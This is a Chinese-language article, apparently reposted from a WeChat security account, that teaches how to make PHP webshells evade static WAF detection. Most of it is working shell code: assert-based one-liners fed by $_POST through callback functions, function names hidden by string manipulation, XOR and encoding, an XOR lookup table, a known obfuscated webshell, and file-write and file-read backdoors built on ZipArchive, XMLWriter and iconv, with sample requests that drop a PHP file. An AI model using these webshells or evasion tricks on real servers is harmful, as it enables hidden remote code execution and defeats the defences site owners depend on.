学免杀首先要了解代码特性,将各种trick(webshell相关)作用都发挥到极致,从而绕过所有waf,当然仅限于静态分析,动态的话使用aes加密即可。本文将围绕php是个解释型语言的前提进行探索。
代码执行优先级简单来说就是执行代码的顺序:
1、 经过测试php是从上到下,从左到右进行解释执行
-2、优先执行括号内的内容,但是不会因为括号越多越先执行
<?php
if(md5(md5(phpinfo()))===md5(exit())){
echo 1;
}
<?php
if(md5(exit())===md5(md5(phpinfo()))){
echo 1;
}
php有四个常见Error:Warning Error、Notice Error、Parse Error、Fatal Error。
Warning Error
Warning Error不会阻止脚本运行,只会警告问题。
常出现原因:
1、 调用目录中不存在的外部文件
2、函数中的错误函数
<?php
echo "Warning error"';
include ("external_file.php");
?>
可以看到第一行成功执行,第二行报Warning Error错误。
Notice Error
Notice Error的等级比Warning Error的等级小,系统不确定是实际错误还是常规代码,常见于访问未定义的变量
<?php
echo 1;
echo $a;
?>
Parse Error
Parse Error会在解析语法出错时直接退出程序,已执行的代码不受影响。
根据结果可知,在eval函数中优先检查php语句是否使用;闭合,若未闭合则全部不予执行。
Fatal Error
Fatal Error常见于重复定义,会立即退出程序。
常见于:
1、a--表示重复定义的函数名;
2、b--第一次定义该函数时的文件名称及行号;
3、c--第二次定义该函数时的文件名称;
4、d--第二次定义该函数时的行号。
//不报告NOTICE和WARNING错误
error_reporting(E_ALL^E_NOTICE^E_WARNING);
//不报告错误
error_reporting(0);
assert
assert(mixed $assertion, string $description = ?): bool
2、PHP7
assert(mixed $assertion, Throwable $exception = ?): bool
eval
eval:把字符串作为PHP代码执行
eval(string $code): mixed
assert和eval的区别
1、PHP5中assert可以动态调用,PHP7中不可以,但是PHP7.0.12前实际上还是可以的
//失败
$a = "eval";
$a("system('whoami');");
//成功
eval("system('whoami');");
//成功
$a = "assert";
$a("system('whoami');");
('assert')('system("whoami")');
在测试过程中发现assert的位置只能使用字符串,函数、define、引用均失效,意味着只能分成字符串拼接的形式,参数的位置不受限制。
回调函数
回调函数即使用某一个参数作为函数,其他参数作为其参数的函数,最经典的就是call_user_func函数。
call_user_func(最经典)
call_user_func_array
array_map
array_filter
usort/uasort
uksort
array_walk
array_walk_recursive
array_uintersect_assoc/array_uintersect
array_uintersect_assoc(array $array, array ...$arrays, callable $value_compare_func): array
<?php
array_uintersect(array($_POST['cmd']), array(1),'assert');
array_intersect_uassoc
array_intersect_ukey
array_udiff_assoc
array_udiff_uassoc
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串。
str_rot13() //函数对字符串执行 ROT13 编码。
substr — 返回字符串的子串
substr(string $string, int $offset, ?int $length = null): string
//返回从第3个索引位置开始的一个字符
substr("777a",3,1)."ssert";
strtr
strtr - 转换字符串中特定的字符
strtr(string,from,to)
用法
<?php
$a = strtr('azxcvt','zxcv','sser');
$a($_POST['x']);
?>
trim
trim - 移除字符串两侧的空白字符或其他预定义字符
trim(string,charlist)
用法
<?php
$a = trim(' assert ');
$a($_POST['x']);
?>
substr_replace
substr_replace - 把字符串string的一部分替换为另一个字符串replacement
substr_replace(string,replacement,start,length)
用法
<?php
$a = substr_replace("asxxx","sert",2);
$a($_POST['x']);
?>
base64编码
echo base64_encode('assert');
异或
<?php
$a= ("!"^"@").'ssert';
$a($_POST[x]);
?>
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."n";
}
?>
%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=> %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?
%9E^%FF=>a
%8C^%FF=>s
%9A^%FF=>e
%8D^%FF=>r
%8B^%FF=>t
%A0^%FF=>_
%AF^%FF=>P
%B0^%FF=>O
%AC^%FF=>S
%AB^%FF=>T
$_=urldecode("%9E%8C%8C%9A%8D%8B")^urldecode("%FF%FF%FF%FF%FF%FF");
$__=urldecode("%A0%AF%B0%AC%AB")^urldecode("%FF%FF%FF%FF%FF");
$___=$$__;
$_($___[_]);
//assert($_POST[_])
convert_uuencode("assert");
同样的还有webdir+
<?php
$password = "LandGrey";
${"LandGrey"} = substr(__FILE__,-5,-4) . "class";
$f = $LandGrey ^ hex2bin("12101f040107");
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>
file_put_contents(filename, data)
ZipArchive类
$zip = new ZipArchive();
$tmp = filter_input_array(2-1);
$zipTmpPath = $tmp["tmpzip"];
if ($zip->open($zipTmpPath, ZipArchive::CREATE)!==TRUE) {
exit("cannot open <$zipTmpPath>n");
}
$zip->addFromString($tmp["filename"], $tmp["content"]);
$zip->close();
if($zip->open($zipTmpPath) !== TRUE){
exit("cannot open <$zipTmpPath>n");
}
$flag = $zip->extractTo($tmp["filePath"]);
echo $flag?"success write: ".$tmp["filePath"]."/".$tmp["filename"]: "fail write";
$zip->close();
unlink($zipTmpPath);
?tmpzip=/tmp/test.zip&filename=tgao.php&content=%3C%3Fphp%20phpinfo()%3B&filePath=/tmp
<?php
$tmp = filter_input_array(1);
$w = new XMLWriter();
$w->openUri($tmp["file"]);
$w->writeRaw($tmp["content"]);
利用方法:?file=/tmp/test&content=hello,也可以直接调用该类的方法。
<?php
$tmp = filter_input_array(1);
$w = xmlwriter_open_uri($tmp["file"]);
xmlwriter_write_raw($w,$tmp["content"]);
$read = iconv_mime_decode("=?UTF-8?B?ZnJlYWQ=?=");
$open = iconv_mime_decode("=?UTF-8?B?Zm9wZW4=?=");
$size = iconv_mime_decode("=?UTF-8?B?ZmlsZXNpemU=?=");
$file = $_GET["file"];
$fp = $open($file, "r");
$str = $read($fp, $size($file));
echo $str;
$prefs = array ("scheme" => "B",
"input-charset" => "utf-8",
"output-charset" => "utf-8",
"line-break-chars" => "n");
$enc = iconv_mime_encode('From', 'test', $prefs);
echo $enc.PHP_EOL;
$headers_string = <<<EOF
Subject: =?UTF-8?B?ZmlsZQ==?=
Received: from localhost (localhost [127.0.0.1]) by localhost
with SMTP id example for <[email protected]>;
Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
(envelope-from [email protected])
EOF;
$headers = iconv_mime_decode_headers($headers_string, 0, "");
$Subject = $headers["Subject"];
$file_arr = $Subject($_GET["file"]);
foreach($file_arr as $value){
echo $value."<br />";
}
原文始发于微信公众号(极星信安):Webshell免杀之php
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论